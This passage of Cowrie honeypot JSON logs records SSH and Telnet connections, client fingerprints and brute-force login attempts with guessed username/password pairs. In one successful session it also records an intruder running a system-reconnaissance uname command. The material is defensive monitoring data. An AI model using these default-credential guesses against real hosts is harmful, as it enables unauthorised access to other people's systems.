16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:06:59.816902Z","src_ip":"141.11.88.14","session":"3c5ed323e722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:00.312915Z","src_ip":"141.11.88.14","session":"3c5ed323e722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:01.401435Z","src_ip":"141.11.88.14","session":"3c5ed323e722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51024,"dst_ip":"10.17.0.5","dst_port":22,"session":"657bdfc62fc8","protocol":"ssh","message":"New connection: 141.11.88.14:51024 (10.17.0.5:22) [session: 657bdfc62fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:07.090998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:07.152429Z","src_ip":"141.11.88.14","session":"657bdfc62fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:07.250272Z","src_ip":"141.11.88.14","session":"657bdfc62fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scanner","password":"budda279056","message":"login attempt [scanner/budda279056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:07.894542Z","src_ip":"141.11.88.14","session":"657bdfc62fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:09.028613Z","src_ip":"141.11.88.14","session":"657bdfc62fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45888,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c7a7dde61a","protocol":"ssh","message":"New connection: 141.11.88.14:45888 (10.17.0.5:22) [session: 61c7a7dde61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:12.891562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:13.533078Z","src_ip":"141.11.88.14","session":"61c7a7dde61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:13.539184Z","src_ip":"141.11.88.14","session":"61c7a7dde61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:16.891983Z","src_ip":"141.11.88.14","session":"61c7a7dde61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:18.228834Z","src_ip":"141.11.88.14","session":"61c7a7dde61a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41460,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0e038e2d83","protocol":"ssh","message":"New connection: 141.11.88.14:41460 (10.17.0.5:22) [session: 6a0e038e2d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:21.428189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:21.479342Z","src_ip":"141.11.88.14","session":"6a0e038e2d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:21.559847Z","src_ip":"141.11.88.14","session":"6a0e038e2d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:22.014651Z","src_ip":"141.11.88.14","session":"6a0e038e2d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:23.287470Z","src_ip":"141.11.88.14","session":"6a0e038e2d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":50408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1e05b8b1ae3","protocol":"ssh","message":"New connection: 161.132.50.236:50408 (159.203.135.109:22) [session: c1e05b8b1ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:24.270443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:24.274687Z","src_ip":"161.132.50.236","session":"c1e05b8b1ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:24.362389Z","src_ip":"161.132.50.236","session":"c1e05b8b1ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"123456","message":"login attempt [reza/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:24.748402Z","src_ip":"161.132.50.236","session":"c1e05b8b1ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:25.838420Z","src_ip":"161.132.50.236","session":"c1e05b8b1ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41978,"dst_ip":"159.203.135.109","dst_port":23,"session":"f85ec5d2222d","protocol":"telnet","message":"New connection: 172.81.62.90:41978 (159.203.135.109:23) [session: f85ec5d2222d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:26.046664Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15504,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c83c75c30e6","protocol":"ssh","message":"New connection: 141.11.88.14:15504 (10.17.0.5:22) [session: 2c83c75c30e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:30.113820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:30.340691Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:30.344123Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:30.946221Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:31.157053Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:31.160127Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:31.250165Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:31.255274Z","src_ip":"141.11.88.14","session":"2c83c75c30e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57328,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e65243636e","protocol":"ssh","message":"New connection: 27.71.230.31:57328 (10.17.0.5:22) [session: 75e65243636e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:34.221679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:34.243976Z","src_ip":"27.71.230.31","session":"75e65243636e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:36.128517Z","src_ip":"27.71.230.31","session":"75e65243636e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15568,"dst_ip":"10.17.0.5","dst_port":22,"session":"26c19f002b89","protocol":"ssh","message":"New connection: 141.11.88.14:15568 (10.17.0.5:22) [session: 26c19f002b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:37.027138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:37.251833Z","src_ip":"141.11.88.14","session":"26c19f002b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:37.255381Z","src_ip":"141.11.88.14","session":"26c19f002b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre123","message":"login attempt [andre/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:38.081369Z","src_ip":"141.11.88.14","session":"26c19f002b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:39.211563Z","src_ip":"141.11.88.14","session":"26c19f002b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1@#$%^&","message":"login attempt [root/Password1@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:40.053321Z","src_ip":"27.71.230.31","session":"75e65243636e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:41.981684Z","src_ip":"27.71.230.31","session":"75e65243636e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16888,"dst_ip":"10.17.0.5","dst_port":22,"session":"8011408f6e80","protocol":"ssh","message":"New connection: 141.11.88.14:16888 (10.17.0.5:22) [session: 8011408f6e80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:44.301229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:44.485102Z","src_ip":"141.11.88.14","session":"8011408f6e80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 